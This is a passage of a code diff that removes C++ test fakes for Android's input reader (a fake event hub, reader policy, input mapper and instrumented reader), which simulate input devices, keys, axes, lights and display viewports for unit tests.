-        mConfig.portAssociations.insert({inputPort, displayPort});
-    }
-
-    void addInputUniqueIdAssociation(const std::string& inputUniqueId,
-                                     const std::string& displayUniqueId) {
-        mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId});
-    }
-
-    void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); }
-
-    void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); }
-
-    void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) {
-        mPointerControllers.insert_or_assign(deviceId, std::move(controller));
-    }
-
-    const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; }
-
-    const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; }
-
-    TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor,
-                                                           int32_t surfaceRotation) {
-        return transform;
-    }
-
-    void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; }
-
-    void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; }
-
-    void setShowTouches(bool enabled) { mConfig.showTouches = enabled; }
-
-    void setDefaultPointerDisplayId(int32_t pointerDisplayId) {
-        mConfig.defaultPointerDisplayId = pointerDisplayId;
-    }
-
-    float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; }
-
-private:
-    DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height,
-                                          int32_t orientation, bool isActive,
-                                          const std::string& uniqueId,
-                                          std::optional<uint8_t> physicalPort, ViewportType type) {
-        bool isRotated =
-                (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270);
-        DisplayViewport v;
-        v.displayId = displayId;
-        v.orientation = orientation;
-        v.logicalLeft = 0;
-        v.logicalTop = 0;
-        v.logicalRight = isRotated ? height : width;
-        v.logicalBottom = isRotated ? width : height;
-        v.physicalLeft = 0;
-        v.physicalTop = 0;
-        v.physicalRight = isRotated ? height : width;
-        v.physicalBottom = isRotated ? width : height;
-        v.deviceWidth = isRotated ? height : width;
-        v.deviceHeight = isRotated ? width : height;
-        v.isActive = isActive;
-        v.uniqueId = uniqueId;
-        v.physicalPort = physicalPort;
-        v.type = type;
-        return v;
-    }
-
-    void getReaderConfiguration(InputReaderConfiguration* outConfig) override {
-        *outConfig = mConfig;
-    }
-
-    std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override {
-        return mPointerControllers[deviceId];
-    }
-
-    void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override {
-        std::scoped_lock<std::mutex> lock(mLock);
-        mInputDevices = inputDevices;
-        mInputDevicesChanged = true;
-        mDevicesChangedCondition.notify_all();
-    }
-
-    std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay(
-            const InputDeviceIdentifier&) override {
-        return nullptr;
-    }
-
-    std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; }
-
-    void waitForInputDevices(std::function<void(bool)> processDevicesChanged) {
-        std::unique_lock<std::mutex> lock(mLock);
-        base::ScopedLockAssertion assumeLocked(mLock);
-
-        mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) {
-            return mInputDevicesChanged;
-        });
-        mInputDevicesChanged = false;
-    }
-};
-
-// --- TestEventHub ---
-
-class TestEventHub : public EventHubInterface {
-    struct KeyInfo {
-        int32_t keyCode;
-        uint32_t flags;
-    };
-
-    struct SensorInfo {
-        InputDeviceSensorType sensorType;
-        int32_t sensorDataIndex;
-    };
-
-    struct Device {
-        InputDeviceIdentifier identifier;
-        Flags<InputDeviceClass> classes;
-        PropertyMap configuration;
-        KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes;
-        KeyedVector<int, bool> relativeAxes;
-        KeyedVector<int32_t, int32_t> keyCodeStates;
-        KeyedVector<int32_t, int32_t> scanCodeStates;
-        KeyedVector<int32_t, int32_t> switchStates;
-        KeyedVector<int32_t, int32_t> absoluteAxisValue;
-        KeyedVector<int32_t, KeyInfo> keysByScanCode;
-        KeyedVector<int32_t, KeyInfo> keysByUsageCode;
-        KeyedVector<int32_t, bool> leds;
-        std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode;
-        BitArray<MSC_MAX> mscBitmask;
-        std::vector<VirtualKeyDefinition> virtualKeys;
-        bool enabled;
-
-        status_t enable() {
-            enabled = true;
-            return OK;
-        }
-
-        status_t disable() {
-            enabled = false;
-            return OK;
-        }
-
-        explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {}
-    };
-
-    std::mutex mLock;
-    std::condition_variable mEventsCondition;
-
-    KeyedVector<int32_t, Device*> mDevices;
-    std::vector<std::string> mExcludedDevices;
-    std::vector<RawEvent> mEvents GUARDED_BY(mLock);
-    std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames;
-    std::vector<int32_t> mVibrators = {0, 1};
-    std::unordered_map<int32_t, RawLightInfo> mRawLightInfos;
-    // Simulates a device light brightness, from light id to light brightness.
-    std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness;
-    // Simulates a device light intensities, from light id to light intensities map.
-    std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>>
-            mLightIntensities;
-
-public:
-    virtual ~TestEventHub() {
-        for (size_t i = 0; i < mDevices.size(); i++) {
-            delete mDevices.valueAt(i);
-        }
-    }
-
-    TestEventHub() {}
-
-    void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) {
-        Device* device = new Device(classes);
-        device->identifier.name = name;
-        mDevices.add(deviceId, device);
-
-        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0);
-    }
-
-    void removeDevice(int32_t deviceId) {
-        delete mDevices.valueFor(deviceId);
-        mDevices.removeItem(deviceId);
-
-        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0);
-    }
-
-    bool isDeviceEnabled(int32_t deviceId) {
-        Device* device = getDevice(deviceId);
-        if (device == nullptr) {
-            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
-            return false;
-        }
-        return device->enabled;
-    }
-
-    status_t enableDevice(int32_t deviceId) {
-        status_t result;
-        Device* device = getDevice(deviceId);
-        if (device == nullptr) {
-            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
-            return BAD_VALUE;
-        }
-        if (device->enabled) {
-            ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId);
-            return OK;
-        }
-        result = device->enable();
-        return result;
-    }
-
-    status_t disableDevice(int32_t deviceId) {
-        Device* device = getDevice(deviceId);
-        if (device == nullptr) {
-            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
-            return BAD_VALUE;
-        }
-        if (!device->enabled) {
-            ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId);
-            return OK;
-        }
-        return device->disable();
-    }
-
-    void finishDeviceScan() {
-        enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0);
-    }
-
-    void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) {
-        Device* device = getDevice(deviceId);
-        device->configuration.addProperty(key, value);
-    }
-
-    void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) {
-        Device* device = getDevice(deviceId);
-        device->configuration.addAll(configuration);
-    }
-
-    void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat,
-                         int fuzz, int resolution = 0) {
-        Device* device = getDevice(deviceId);
-
-        RawAbsoluteAxisInfo info;
-        info.valid = true;
-        info.minValue = minValue;
-        info.maxValue = maxValue;
-        info.flat = flat;
-        info.fuzz = fuzz;
-        info.resolution = resolution;
-        device->absoluteAxes.add(axis, info);
-    }
-
-    void addRelativeAxis(int32_t deviceId, int32_t axis) {
-        Device* device = getDevice(deviceId);
-        device->relativeAxes.add(axis, true);
-    }
-
-    void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) {
-        Device* device = getDevice(deviceId);
-        device->keyCodeStates.replaceValueFor(keyCode, state);
-    }
-
-    void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) {
-        Device* device = getDevice(deviceId);
-        device->scanCodeStates.replaceValueFor(scanCode, state);
-    }
-
-    void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) {
-        Device* device = getDevice(deviceId);
-        device->switchStates.replaceValueFor(switchCode, state);
-    }
-
-    void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) {
-        Device* device = getDevice(deviceId);
-        device->absoluteAxisValue.replaceValueFor(axis, value);
-    }
-
-    void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode,
-                uint32_t flags) {
-        Device* device = getDevice(deviceId);
-        KeyInfo info;
-        info.keyCode = keyCode;
-        info.flags = flags;
-        if (scanCode) {
-            device->keysByScanCode.add(scanCode, info);
-        }
-        if (usageCode) {
-            device->keysByUsageCode.add(usageCode, info);
-        }
-    }
-
-    void addLed(int32_t deviceId, int32_t led, bool initialState) {
-        Device* device = getDevice(deviceId);
-        device->leds.add(led, initialState);
-    }
-
-    void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType,
-                       int32_t sensorDataIndex) {
-        Device* device = getDevice(deviceId);
-        SensorInfo info;
-        info.sensorType = sensorType;
-        info.sensorDataIndex = sensorDataIndex;
-        device->sensorsByAbsCode.emplace(absCode, info);
-    }
-
-    void setMscEvent(int32_t deviceId, int32_t mscEvent) {
-        Device* device = getDevice(deviceId);
-        typename BitArray<MSC_MAX>::Buffer buffer;
-        buffer[mscEvent / 32] = 1 << mscEvent % 32;
-        device->mscBitmask.loadFromBuffer(buffer);
-    }
-
-    void addRawLightInfo(int32_t rawId, RawLightInfo&& info) {
-        mRawLightInfos.emplace(rawId, std::move(info));
-    }
-
-    void testLightBrightness(int32_t rawId, int32_t brightness) {
-        mLightBrightness.emplace(rawId, brightness);
-    }
-
-    void testLightIntensities(int32_t rawId,
-                              const std::unordered_map<LightColor, int32_t> intensities) {
-        mLightIntensities.emplace(rawId, std::move(intensities));
-    }
-
-    bool getLedState(int32_t deviceId, int32_t led) {
-        Device* device = getDevice(deviceId);
-        return device->leds.valueFor(led);
-    }
-
-    std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; }
-
-    void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) {
-        Device* device = getDevice(deviceId);
-        device->virtualKeys.push_back(definition);
-    }
-
-    void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code,
-                      int32_t value) {
-        std::scoped_lock<std::mutex> lock(mLock);
-        RawEvent event;
-        event.when = when;
-        event.readTime = readTime;
-        event.deviceId = deviceId;
-        event.type = type;
-        event.code = code;
-        event.value = value;
-        mEvents.push_back(event);
-
-        if (type == EV_ABS) {
-            setAbsoluteAxisValue(deviceId, code, value);
-        }
-    }
-
-    void setVideoFrames(
-            std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) {
-        mVideoFrames = std::move(videoFrames);
-    }
-
-private:
-    Device* getDevice(int32_t deviceId) const {
-        ssize_t index = mDevices.indexOfKey(deviceId);
-        return index >= 0 ? mDevices.valueAt(index) : nullptr;
-    }
-
-    Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override {
-        Device* device = getDevice(deviceId);
-        return device ? device->classes : Flags<InputDeviceClass>(0);
-    }
-
-    InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override {
-        Device* device = getDevice(deviceId);
-        return device ? device->identifier : InputDeviceIdentifier();
-    }
-
-    int32_t getDeviceControllerNumber(int32_t) const override { return 0; }
-
-    void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            *outConfiguration = device->configuration;
-        }
-    }
-
-    status_t getAbsoluteAxisInfo(int32_t deviceId, int axis,
-                                 RawAbsoluteAxisInfo* outAxisInfo) const override {
-        Device* device = getDevice(deviceId);
-        if (device && device->enabled) {
-            ssize_t index = device->absoluteAxes.indexOfKey(axis);
-            if (index >= 0) {
-                *outAxisInfo = device->absoluteAxes.valueAt(index);
-                return OK;
-            }
-        }
-        outAxisInfo->clear();
-        return -1;
-    }
-
-    bool hasRelativeAxis(int32_t deviceId, int axis) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            return device->relativeAxes.indexOfKey(axis) >= 0;
-        }
-        return false;
-    }
-
-    bool hasInputProperty(int32_t, int) const override { return false; }
-
-    bool hasMscEvent(int32_t deviceId, int mscEvent) const override final {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false;
-        }
-        return false;
-    }
-
-    status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState,
-                    int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            const KeyInfo* key = getKey(device, scanCode, usageCode);
-            if (key) {
-                if (outKeycode) {
-                    *outKeycode = key->keyCode;
-                }
-                if (outFlags) {
-                    *outFlags = key->flags;
-                }
-                if (outMetaState) {
-                    *outMetaState = metaState;
-                }
-                return OK;
-            }
-        }
-        return NAME_NOT_FOUND;
-    }
-
-    const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const {
-        if (usageCode) {
-            ssize_t index = device->keysByUsageCode.indexOfKey(usageCode);
-            if (index >= 0) {
-                return &device->keysByUsageCode.valueAt(index);
-            }
-        }
-        if (scanCode) {
-            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
-            if (index >= 0) {
-                return &device->keysByScanCode.valueAt(index);
-            }
-        }
-        return nullptr;
-    }
-
-    status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; }
-
-    base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId,
-                                                                      int32_t absCode) {
-        Device* device = getDevice(deviceId);
-        if (!device) {
-            return Errorf("Sensor device not found.");
-        }
-        auto it = device->sensorsByAbsCode.find(absCode);
-        if (it == device->sensorsByAbsCode.end()) {
-            return Errorf("Sensor map not found.");
-        }
-        const SensorInfo& info = it->second;
-        return std::make_pair(info.sensorType, info.sensorDataIndex);
-    }
-
-    void setExcludedDevices(const std::vector<std::string>& devices) override {
-        mExcludedDevices = devices;
-    }
-
-    size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override {
-        std::scoped_lock lock(mLock);
-
-        const size_t filledSize = std::min(mEvents.size(), bufferSize);
-        std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer);
-
-        mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize);
-        mEventsCondition.notify_all();
-        return filledSize;
-    }
-
-    std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override {
-        auto it = mVideoFrames.find(deviceId);
-        if (it != mVideoFrames.end()) {
-            std::vector<TouchVideoFrame> frames = std::move(it->second);
-            mVideoFrames.erase(deviceId);
-            return frames;
-        }
-        return {};
-    }
-
-    int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->scanCodeStates.indexOfKey(scanCode);
-            if (index >= 0) {
-                return device->scanCodeStates.valueAt(index);
-            }
-        }
-        return AKEY_STATE_UNKNOWN;
-    }
-
-    int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->keyCodeStates.indexOfKey(keyCode);
-            if (index >= 0) {
-                return device->keyCodeStates.valueAt(index);
-            }
-        }
-        return AKEY_STATE_UNKNOWN;
-    }
-
-    int32_t getSwitchState(int32_t deviceId, int32_t sw) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->switchStates.indexOfKey(sw);
-            if (index >= 0) {
-                return device->switchStates.valueAt(index);
-            }
-        }
-        return AKEY_STATE_UNKNOWN;
-    }
-
-    status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis,
-                                  int32_t* outValue) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->absoluteAxisValue.indexOfKey(axis);
-            if (index >= 0) {
-                *outValue = device->absoluteAxisValue.valueAt(index);
-                return OK;
-            }
-        }
-        *outValue = 0;
-        return -1;
-    }
-
-    // Return true if the device has non-empty key layout.
-    bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes,
-                               uint8_t* outFlags) const override {
-        bool result = false;
-        Device* device = getDevice(deviceId);
-        if (device) {
-            result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0;
-            for (size_t i = 0; i < numCodes; i++) {
-                for (size_t j = 0; j < device->keysByScanCode.size(); j++) {
-                    if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) {
-                        outFlags[i] = 1;
-                    }
-                }
-                for (size_t j = 0; j < device->keysByUsageCode.size(); j++) {
-                    if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) {
-                        outFlags[i] = 1;
-                    }
-                }
-            }
-        }
-        return result;
-    }
-
-    bool hasScanCode(int32_t deviceId, int32_t scanCode) const override {
-        Device* device = getDevice(deviceId);
-        if (device) {
-            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
-            return index >= 0;
-        }
-        return false;
-    }
-
-    bool hasLed(int32_t deviceId, int32_t led) const override {
-        Device* device = getDevice(deviceId);
-        return device && device->leds.indexOfKey(led) >= 0;
-    }
-
-    void setLedState(int32_t deviceId, int32_t led, bool on) override {}
-
-    void getVirtualKeyDefinitions(
-            int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override {
-        outVirtualKeys.clear();
-
-        Device* device = getDevice(deviceId);
-        if (device) {
-            outVirtualKeys = device->virtualKeys;
-        }
-    }
-
-    const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override {
-        return nullptr;
-    }
-
-    bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override {
-        return false;
-    }
-
-    void vibrate(int32_t, const VibrationElement&) override {}
-
-    void cancelVibrate(int32_t) override {}
-
-    std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; };
-
-    std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override {
-        return BATTERY_CAPACITY;
-    }
-
-    std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override {
-        return BATTERY_STATUS;
-    }
-
-    const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; }
-
-    std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) {
-        return std::nullopt;
-    }
-
-    const std::vector<int32_t> getRawLightIds(int32_t deviceId) override {
-        std::vector<int32_t> ids;
-        for (const auto& [rawId, info] : mRawLightInfos) {
-            ids.push_back(rawId);
-        }
-        return ids;
-    }
-
-    std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override {
-        auto it = mRawLightInfos.find(lightId);
-        if (it == mRawLightInfos.end()) {
-            return std::nullopt;
-        }
-        return it->second;
-    }
-
-    void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override {
-        mLightBrightness.emplace(lightId, brightness);
-    }
-
-    void setLightIntensities(int32_t deviceId, int32_t lightId,
-                             std::unordered_map<LightColor, int32_t> intensities) override {
-        mLightIntensities.emplace(lightId, intensities);
-    };
-
-    std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override {
-        auto lightIt = mLightBrightness.find(lightId);
-        if (lightIt == mLightBrightness.end()) {
-            return std::nullopt;
-        }
-        return lightIt->second;
-    }
-
-    std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities(
-            int32_t deviceId, int32_t lightId) override {
-        auto lightIt = mLightIntensities.find(lightId);
-        if (lightIt == mLightIntensities.end()) {
-            return std::nullopt;
-        }
-        return lightIt->second;
-    };
-
-    virtual bool isExternal(int32_t) const { return false; }
-
-    void dump(std::string&) override {}
-
-    void monitor() override {}
-
-    void requestReopenDevices() override {}
-
-    void wake() override {}
-};
-
-// --- TestInputMapper---
-
-class TestInputMapper : public InputMapper {
-    uint32_t mSources;
-    int32_t mKeyboardType;
-    int32_t mMetaState;
-    KeyedVector<int32_t, int32_t> mKeyCodeStates;
-    KeyedVector<int32_t, int32_t> mScanCodeStates;
-    KeyedVector<int32_t, int32_t> mSwitchStates;
-    std::vector<int32_t> mSupportedKeyCodes;
-
-    std::mutex mLock;
-    std::condition_variable mStateChangedCondition;
-    bool mConfigureWasCalled GUARDED_BY(mLock);
-    bool mResetWasCalled GUARDED_BY(mLock);
-    bool mProcessWasCalled GUARDED_BY(mLock);
-    RawEvent mLastEvent GUARDED_BY(mLock);
-
-    std::optional<DisplayViewport> mViewport;
-
-public:
-    TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources)
-          : InputMapper(deviceContext),
-            mSources(sources),
-            mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE),
-            mMetaState(0),
-            mConfigureWasCalled(false),
-            mResetWasCalled(false),
-            mProcessWasCalled(false) {}
-
-    virtual ~TestInputMapper() {}
-
-    void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; }
-
-    void setMetaState(int32_t metaState) { mMetaState = metaState; }
-    void setKeyCodeState(int32_t keyCode, int32_t state) {
-        mKeyCodeStates.replaceValueFor(keyCode, state);
-    }
-
-    void setScanCodeState(int32_t scanCode, int32_t state) {
-        mScanCodeStates.replaceValueFor(scanCode, state);
-    }
-
-    void setSwitchState(int32_t switchCode, int32_t state) {
-        mSwitchStates.replaceValueFor(switchCode, state);
-    }
-
-    void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); }
-
-private:
-    uint32_t getSources() override { return mSources; }
-
-    void populateDeviceInfo(InputDeviceInfo* deviceInfo) override {
-        InputMapper::populateDeviceInfo(deviceInfo);
-
-        if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) {
-            deviceInfo->setKeyboardType(mKeyboardType);
-        }
-    }
-
-    void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override {
-        std::scoped_lock<std::mutex> lock(mLock);
-        mConfigureWasCalled = true;
-
-        // Find the associated viewport if exist.
-        const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort();
-        if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
-            mViewport = config->getDisplayViewportByPort(*displayPort);
-        }
-
-        mStateChangedCondition.notify_all();
-    }
-
-    void reset(nsecs_t) override {
-        std::scoped_lock<std::mutex> lock(mLock);
-        mResetWasCalled = true;
-        mStateChangedCondition.notify_all();
-    }
-
-    void process(const RawEvent* rawEvent) override {
-        std::scoped_lock<std::mutex> lock(mLock);
-        mLastEvent = *rawEvent;
-        mProcessWasCalled = true;
-        mStateChangedCondition.notify_all();
-    }
-
-    int32_t getKeyCodeState(uint32_t, int32_t keyCode) override {
-        ssize_t index = mKeyCodeStates.indexOfKey(keyCode);
-        return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
-    }
-
-    int32_t getScanCodeState(uint32_t, int32_t scanCode) override {
-        ssize_t index = mScanCodeStates.indexOfKey(scanCode);
-        return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
-    }
-
-    int32_t getSwitchState(uint32_t, int32_t switchCode) override {
-        ssize_t index = mSwitchStates.indexOfKey(switchCode);
-        return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN;
-    }
-
-    // Return true if the device has non-empty key layout.
-    bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes,
-                               uint8_t* outFlags) override {
-        for (size_t i = 0; i < numCodes; i++) {
-            for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) {
-                if (keyCodes[i] == mSupportedKeyCodes[j]) {
-                    outFlags[i] = 1;
-                }
-            }
-        }
-        bool result = mSupportedKeyCodes.size() > 0;
-        return result;
-    }
-
-    virtual int32_t getMetaState() { return mMetaState; }
-
-    virtual void fadePointer() {}
-
-    virtual std::optional<int32_t> getAssociatedDisplay() {
-        if (mViewport) {
-            return std::make_optional(mViewport->displayId);
-        }
-        return std::nullopt;
-    }
-};
-
-// --- InstrumentedInputReader ---
-
-class InstrumentedInputReader : public InputReader {
-    std::queue<std::shared_ptr<InputDevice>> mNextDevices;
-
-public:
-    InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub,
-                            const sp<InputReaderPolicyInterface>& policy,
-                            const sp<InputListenerInterface>& listener)
-          : InputReader(eventHub, policy, listener), mTestContext(this) {}
-
-    virtual ~InstrumentedInputReader() {}
-
-    void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); }
-
-    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
-                                           const std::string& location = "") {
-        InputDeviceIdentifier identifier;
-        identifier.name = name;
-        identifier.location = location;
-        int32_t generation = deviceId + 1;
-        return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier);
-    }
-
-    // Make the protected loopOnce method accessible to tests.
-    using InputReader::loopOnce;
-
-protected:
-    virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId,
-                                                            const InputDeviceIdentifier& identifier)
-            REQUIRES(mLock) {
-        if (!mNextDevices.empty()) {
-            std::shared_ptr<InputDevice> device(std::move(mNextDevices.front()));
-            mNextDevices.pop();
-            return device;
-        }
-        return InputReader::createDeviceLocked(eventHubId, identifier);
-    }
-
-    // --- TestInputReaderContext ---
-    class TestInputReaderContext : public ContextImpl {
-        int32_t mGlobalMetaState;
-        bool mUpdateGlobalMetaStateWasCalled;
-        int32_t mGeneration;
-
-    public:
-        TestInputReaderContext(InputReader* reader)
-              : ContextImpl(reader),
-                mGlobalMetaState(0),
-                mUpdateGlobalMetaStateWasCalled(false),
-                mGeneration(1) {}
-
-        virtual ~TestInputReaderContext() {}
-
-        void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; }
-
-        void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; }
-
-        uint32_t getGeneration() { return mGeneration; }
-
-        void updateGlobalMetaState() override {
-            mUpdateGlobalMetaStateWasCalled = true;
-            ContextImpl::updateGlobalMetaState();
-        }
-
-        int32_t getGlobalMetaState() override {
-            return mGlobalMetaState | ContextImpl::getGlobalMetaState();
-        }
-
-        int32_t bumpGeneration() override {
-            mGeneration = ContextImpl::bumpGeneration();
-            return mGeneration;
-        }
-    } mTestContext;
-
-public:
-    TestInputReaderContext* getContext() { return &mTestContext; }
-};
-
-// --- InputMapperTest ---
-
-class InputMapperTest {
-public:
-    std::shared_ptr<TestEventHub> mTestEventHub;
-    sp<TestInputReaderPolicy> mTestPolicy;
-    sp<TestInputListener> mTestListener;
-    std::unique_ptr<InstrumentedInputReader> mReader;
-    std::shared_ptr<InputDevice> mDevice;
-
-    virtual void SetUp(Flags<InputDeviceClass> classes) {
-        mTestEventHub = std::make_unique<TestEventHub>();
-        mTestPolicy = new TestInputReaderPolicy();
-        mTestListener = new TestInputListener();
-        mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy,
-                                                            mTestListener);
-        mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes);
-    }
-
-    void SetUp() { SetUp(DEVICE_CLASSES); }
-
-    void TearDown() {
-        mTestListener.clear();
-        mTestPolicy.clear();
-    }
-    virtual ~InputMapperTest() {}
-
-    void addConfigurationProperty(const char* key, const char* value) {
-        mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value));
-    }
-
-    void configureDevice(uint32_t changes) {
-        if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
-            mReader->requestRefreshConfiguration(changes);
-            mReader->loopOnce();
-        }
-        mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes);
-    }
-
-    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
-                                           const std::string& location, int32_t eventHubId,
-                                           Flags<InputDeviceClass> classes) {
-        InputDeviceIdentifier identifier;
-        identifier.name = name;
-        identifier.location = location;
-        std::shared_ptr<InputDevice> device =
-                std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION,
-                                              identifier);
-        mReader->pushNextDevice(device);
-        mTestEventHub->addDevice(eventHubId, name, classes);
-        mReader->loopOnce();
-        return device;
-    }
-
-    template <class T, typename... Args>
-    T& addMapperAndConfigure(Args... args) {
-        T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...);
-        configureDevice(0);
-        mDevice->reset(ARBITRARY_TIME);
-        mapper.reset(ARBITRARY_TIME);
-        return mapper;
-    }
-
-    void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height,
-                                      int32_t orientation, const std::string& uniqueId,
-                                      std::optional<uint8_t> physicalPort,
-                                      ViewportType viewportType) {
-        mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/,
-                                        uniqueId, physicalPort, viewportType);
-        configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-    }
-
-    void clearViewports() { mTestPolicy->clearViewports(); }
-
-    void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code,
-                 int32_t value) {
-        RawEvent event;
